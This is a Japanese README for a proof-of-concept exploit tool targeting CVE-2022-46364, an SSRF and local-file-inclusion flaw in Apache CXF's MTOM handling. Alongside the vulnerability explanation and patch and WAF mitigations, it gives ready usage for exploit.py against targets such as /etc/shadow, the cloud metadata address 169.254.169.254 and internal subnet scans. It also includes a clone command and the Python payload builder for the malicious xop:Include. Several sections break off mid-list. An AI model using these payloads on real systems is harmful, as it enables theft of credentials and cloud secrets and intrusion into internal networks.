
この脆弱性により、攻撃者はMTOM/XOPリクエストを受け付けるApache CXF Webサービスに対してSSRF(サーバーサイドリクエストフォージェリ)攻撃を実行できます。問題は、xop:Includeのhref属性が解析される方法に存在し、サーバーが任意のURLをリクエストできるようになります。
このツールは教育目的および許可されたセキュリティテスト専用です
この概念実証エクスプロイトは、セキュリティ専門家が脆弱性を理解しシステムを保護するための教育目的で提供されています。不正なコンピュータシステムへのアクセスは違法です。作者はこのツールの誤用や損害について一切の責任を負いません。テストを実施する前に、システム所有者から明示的な書面による許可を得る必要があります。このツールを使用することで、適用されるすべての法律を遵守することに同意したものとみなします。
| 属性 | 値 |
|---|
| CVE ID | CVE-2022-46364 |
| GHSA ID | GHSA-x3x3-qwjq-8gj4 |
| 脆弱性の種類 | サーバサイドリクエストフォージェリ (SSRF) → ローカルファイルインクルージョン (LFI) |
| 影響を受けるソフトウェア | Apache CXF < 3.5.5, Apache CXF < 3.4.10 |
| 深刻度 | 重大 |
| CVSSスコア | 9.8 (重大) |
| 攻撃ベクトル | ネットワーク |
| 認証 | 不要 |
| パッチバージョン | Apache CXF 3.5.5+, 3.4.10+ |
このエクスプロイトは、Apache CXFのMTOM(メッセージ伝送最適化メカニズム)実装における重大なSSRF脆弱性を悪用し、ローカルファイルインクルージョン (LFI) および内部ネットワークスキャンを実現します。
Apache CXFは、MTOMエンコードされたSOAPメッセージを処理する際に、xop:Include要素内のhref属性を誤って検証します。ライブラリはJavaのURLConnectionを使用してURIを解決しますが、プロトコル制限が適切に行われていないため、攻撃者は以下を指定できます:
file:// - ローカルファイルの読み取り (LFI)http:// / https:// - 内部ネットワークリクエスト (SSRF)ftp:// - FTPリクエスト (さらなる悪用の可能性)この脆弱性が特に危険な理由:
以下の条件を満たすApache CXFデプロイメント:
MTOM(Message Transmission Optimization Mechanism)は、SOAPメッセージ内のバイナリデータ送信を最適化するW3C標準です。XOP(XML-binary Optimized Packaging)を使用してバイナリデータの参照を含めます:
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<myData>
<xop:Include href="cid:[email protected]"
xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
</myData>
</soap:Body>
</soap:Envelope>
通常、hrefにはMIMEパートへのCID(Content-ID)参照が含まれます。しかし、Apache CXFのAttachmentUtilクラスは、href値を適切にサニタイズせずに汎用URIとして処理します。
リクエスト解析:
Content-Type: application/xop+xmlを持つmultipart/related HTTPリクエストを受信AttachmentUtil.getAttachmentObject()がxop:Include要素を処理URI解決:
new URL(href).openStream()を呼び出すfile://プロトコルのブロックは行われないレスポンスへの埋め込み:
// CXF < 3.5.5における脆弱なコードの簡略表現
public DataHandler getAttachmentObject(String href) {
URL url = new URL(href); // プロトコル検証なし!
return new DataHandler(url.openStream());
}
file://プロトコルも同じコードパスに従います:
file:///etc/passwd → Javaが/etc/passwdをファイルストリームとして開くIPとポートを反復処理することで、攻撃者は以下を実行できます:
usage: exploit.py [-h] -t TARGET [-e ENDPOINT] [-u URL] [-f FILE] [-s SCAN]
CVE-2022-46364 Apache CXF SSRF to LFI Exploit - Educational Purpose Only
options:
-h, --help ヘルプメッセージを表示して終了
-t TARGET, --target TARGET
ターゲットベースURL(例:http://192.168.1.100:8080)
-e ENDPOINT, --endpoint ENDPOINT
Webサービスエンドポイントパス(デフォルト:/services/Service)
-u URL, --url URL SSRF用の外部URL(例:http://169.254.169.254/latest/meta-data/)
-f FILE, --file FILE LFI用のローカルファイルパス(例:/etc/passwd, C:\\Windows\\win.ini)
-s SCAN, --scan SCAN CIDR表記で内部ネットワーク範囲をスキャン(例:192.168.1.0/24)
| 引数 | 説明 | 例 |
|---|---|---|
-t, --target | 必須。ターゲットApache CXFサービスのベースURL | http://10.10.10.50:8080 |
-e, --endpoint | オプション。SOAPエンドポイントパス | /services/UserManagement |
-u, --url | SSRF経由で取得するHTTP/HTTPS URL | http://169.254.169.254/latest/user-data |
-f, --file | LFI経由で読み取るローカルファイルパス | /etc/shadow, C:\ProgramData\secret.txt |
# Python 3.6以上が必要
python --version
# リポジトリのクローン
git clone https://github.com/cybermaksxx/CVE-2022-46364-Proof-of-the-concept
cd CVE-2022-46364-PoC
### 依存関係
requests>=2.28.0 urllib3>=1.26.0
---
### コア実装の詳細
#### 1. MTOMペイロードの構築
```python
def create_mtom_payload(uri):
"""xop:Includeを含むmultipart/related MTOMメッセージを作成"""
soap_part = f"""--MIME_BOUNDARY
Content-Type: application/xop+xml; charset=UTF-8; type="text/xml"
Content-Transfer-Encoding: binary
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<vulnerableParam>
<xop:Include href="{uri}"
xmlns:xop="http://www.w3.org/2004/08/xop/include"/>
</vulnerableParam>
</soap:Body>
</soap:Envelope>
--MIME_BOUNDARY--"""
return soap_part
パッチ適用済みバージョンにアップグレード:
<!-- Mavenプロジェクトの場合 -->
<dependency>
<groupId>org.apache.cxf</groupId>
<artifactId>cxf-rt-frontend-jaxws</artifactId>
<version>3.5.5</version> <!-- またはレガシーの場合は3.4.10 -->
</dependency>
MTOMを完全に無効化(必要ない場合):
<jaxws:endpoint ...>
<jaxws:properties>
<entry key="mtom-enabled" value="false"/>
</jaxws:properties>
</jaxws:endpoint>
ネットワークレベルの制御:
Webアプリケーションファイアウォール (WAF) ルール:
xop:Includeを含み、hrefがfile://または内部IPアドレスを指すリクエストをブロックこの脆弱性は以下の研究者によって発見され、責任を持って開示されました:
このツールは教育目的のみで提供されています。不正使用は禁止されています。
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
最終更新日: 2026年3月
バージョン: 1.0
連絡先: セキュリティに関する懸念や質問がある場合は、GitHubでIssueを開いてください。
この文書は責任あるセキュリティ研究の一環です。テストを行う前に必ず適切な許可を取得してください。